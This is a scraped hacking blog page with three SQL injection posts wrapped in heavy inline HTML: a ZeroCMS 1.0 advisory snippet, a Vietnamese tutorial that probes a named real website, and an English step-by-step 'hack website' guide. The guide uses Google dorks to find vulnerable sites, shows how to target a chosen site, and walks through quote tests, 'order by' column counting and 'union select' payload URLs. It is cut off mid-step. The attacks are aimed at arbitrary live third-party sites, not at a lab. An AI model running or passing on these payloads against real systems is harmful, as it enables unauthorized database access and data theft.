!important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Product web page: http://www.aas9.in/zerocms/</code></div> <div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Affected version: 1.0</code></div> <div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">  </div> <div class="line number9 index8 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Summary: ZeroCMS is a very simple Content Management</code></div> <div class="line number10 index9 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">System built using PHP and MySQL.</code></div>

ZeroCMS 1.0 - (zero_view_article.php, article_id param) - SQL Injection Vulnerability

ZeroCMS 1.0 (article_id) SQL Injection Vulnerability     Vendor: Another Awesome Stuff Product web page: http://www.aas9.in/zerocms...

Read more »

Tut SQLi dùng cách Post data

<span style="background-color: white;"><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;">Đầu tiên chúng ta cùng nhìn site này</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;"></span><br> <div class="codeblock phpcodeblock" style="background-attachment: initial; background-clip: initial; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_3.png); background-origin: initial; background-position: 0px -1px; background-repeat: repeat-x; background-size: initial; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 1px solid rgb(41, 41, 41); font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px; margin-top: 10px; min-width: 100%;"> <div class="title" style="background-attachment: initial; background-clip: initial; background-image: url(http://ceh.vn/@4rum/images/neonglow/code2.png); background-origin: initial; background-position: 4px 50%; background-repeat: no-repeat; background-size: initial; border-bottom-color: rgb(51, 51, 51); border-bottom-style: solid; border-bottom-width: 1px; font-size: 11px; font-weight: bold; padding: 8px 10px 8px 25px;"> <span style="background-color: white;">Mã PHP:</span></div> <div class="body" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; padding: 5px;"> <div dir="ltr"> <code style="display: block; font-family: Monaco, Consolas, Courier, monospace; height: auto; max-height: 800px; overflow: auto;"><span style="background-color: white;">http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 </span></code></div> </div> </div> <span style="background-color: white;"><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;"><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;">Bước 1: Check lỗi</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;"></span><br> <div class="codeblock phpcodeblock" style="background-attachment: initial; background-clip: initial; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_3.png); background-origin: initial; background-position: 0px -1px; background-repeat: repeat-x; background-size: initial; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 1px solid rgb(41, 41, 41); font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px; margin-top: 10px; min-width: 100%;"> <div class="title" style="background-attachment: initial; background-clip: initial; background-image: url(http://ceh.vn/@4rum/images/neonglow/code2.png); background-origin: initial; background-position: 4px 50%; background-repeat: no-repeat; background-size: initial; border-bottom-color: rgb(51, 51, 51); border-bottom-style: solid; border-bottom-width: 1px; font-size: 11px; font-weight: bold; padding: 8px 10px 8px 25px;"> <span style="background-color: white;">Mã PHP:</span></div> <div class="body" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; padding: 5px;"> <div dir="ltr"> <code style="display: block; font-family: Monaco, Consolas, Courier, monospace; height: auto; max-height: 800px; overflow: auto;"><span style="background-color: white;">http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206' </span></code></div> </div> </div> <span style="background-color: white;"><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px;"></span> <div style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px; text-align: center;"> <a href="http://www.upsieutoc.com/images/2014/06/08/data487c4.png" rel="lightbox" style="text-decoration: none;"><span style="background-color: white; color: black;"><img alt="[Hình: data487c4.png]" border="0" src="http://www.upsieutoc.com/images/2014/06/08/data487c4.png" style="border: none; height: auto; max-width: 100%; outline: 0px;"></span></a></div> <div style="font-family: arial, tahoma; font-size: 13px; line-height: 18.200000762939453px; text-align: center;"> <span style="background-color: white;">Giao diện website có thay đổi. Chứng tỏ site bị lỗi.</span></div> <span style="background-color: white;"></span><br>

Tut SQLi dùng cách Post data

Đầu tiên chúng ta cùng nhìn site này Mã PHP: http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206  Bư...

Read more »

[TUT] Hack Website Using Sql Injection

<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> Before we see what  SQL Injection is. We should know what SQL and Database are.<br><br><b>Database:</b><br>Database is collection of data. In website point of view, database is used for storing user ids,passwords,web page details and more.<br><br><a href="https://www.blogger.com/null" name="more"></a><br><br><b>Some List of Database are:</b><br><br>* DB servers,<br>* MySQL(Open source),<br>* MSSQL,<br>* MS-ACCESS,<br>* Oracle,<br>* Postgre SQL(open source),<br>* SQLite,<br><br><br><br><b>SQL:</b><br>Structured Query Language is Known as SQL. In order to communicate with the Database ,we are using SQL query. We are querying the database so it is called as Query language.<br><br><i>Definition from Complete reference:</i></div> <blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> SQL is a tool for organizing, managing, and retrieving data stored by a computer<br>database. The name "SQL" is an abbreviation for Structured Query Language. For<br>historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation<br>"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to<br>interact with a database. In fact, SQL works with one specific type of database, called a<br>relational database.<i></i></blockquote> <br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">Simple Basic Queries for SQL:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Select * from table_name :</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">this statement is used for showing the content of tables including column name.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">select * from users;</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Insert into table_name(column_names,...) values(corresponding values for columns):</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For inserting data to table.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">insert into users(username,userid) values("hack2play","hack");</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">I will give more detail and query in my next thread about the SQL QUERY.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">What is SQL Injection?</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">What an attacker can do?</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">* ByPassing Logins</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">* Accessing secret data</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">* Modifying contents of website</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">* Shutting down the My SQL server</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Now let's dive into the real procedure for the SQL Injection.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Follow my steps.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">Step 1: Finding Vulnerable Website:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Some Examples:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">inurl:index.php?id=</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">inurl:gallery.php?id=</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">inurl:article.php?id=</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">inurl:pageid=</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Here is the huge list of Google Dork</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><a href="http://nightfox.mobi.ws/Dorks.txt" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;">http://Nightfox.mobi.ws/Dorks.txt</a><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">How to use?</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">copy one of the above command and paste in the google search engine box.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Hit enter.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">You can get list of web sites.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">We have to visit the websites one by one for checking the vulnerability.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">So Start from the first website.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><img src="http://darksidegeeks.com/wp-content/uploads/2012/04/ssssss1.png" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Note:if you like to hack particular website,then try this:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">site:www.victimsite.com dork_list_commands</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">for eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> site:www.victimsite.com inurl:index.php?id=</blockquote> <span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> </span><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">Step 2: Checking the Vulnerability:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <code>http://www.victimsite.com/index.php?id=2'</code></blockquote> <span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable. </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1</blockquote> <br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">Step 3: Finding Number of columns:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Now we have found the website is vulnerable. Next step is to find the number of columns in the table. </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For that replace the single quotes(') with "order by </span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify; text-decoration: underline;">n</span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">" statement.(leave one space between number and </span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify; text-decoration: underline;">order by n</span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> statement)</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <code>http://www.victimsite.com/index.php?id=2 order by 1</code><br><code>http://www.victimsite.com/index.php?id=2 order by 2</code><br><code>http://www.victimsite.com/index.php?id=2 order by 3</code><br><code>http://www.victimsite.com/index.php?id=2 order by 4</code></blockquote> <span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> change the number until you get the error as "unknown column"</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">if you get the error while trying the "x"th number,then no of column is "x-1".</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">I mean:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <code>http://www.victimsite.com/index.php?id=2 order by 1(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 2(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 3(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 4(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 5(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 6(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 7(noerror)<br>http://www.victimsite.com/index.php?id=2 order by 8(error)</code><br><code> </code></blockquote> <span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> so now x=8 , The number of column is x-1 i.e, 7.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Sometime the above may not work. At the time add the "--" at the end of the statement.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <code>http://www.victimsite.com/index.php?id=2 order by 1--</code></blockquote> <br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; font-weight: bold; line-height: 19px; text-align: justify;">Step 4: Displaying the Vulnerable columns:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Using "union select </span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify; text-decoration: underline;">columns_sequence</span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">" we can find the vulnerable part of the table. Replace the "order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">For eg:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">if the number of columns is 7 ,then the query is as follow:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <br><code>http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--</code></blockquote> <br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">If the above method is not working then try this:</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;"> <code>http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--</code></blockquote> <br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns). </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Like this:</span><br style="font-family: Arial, Verdana; 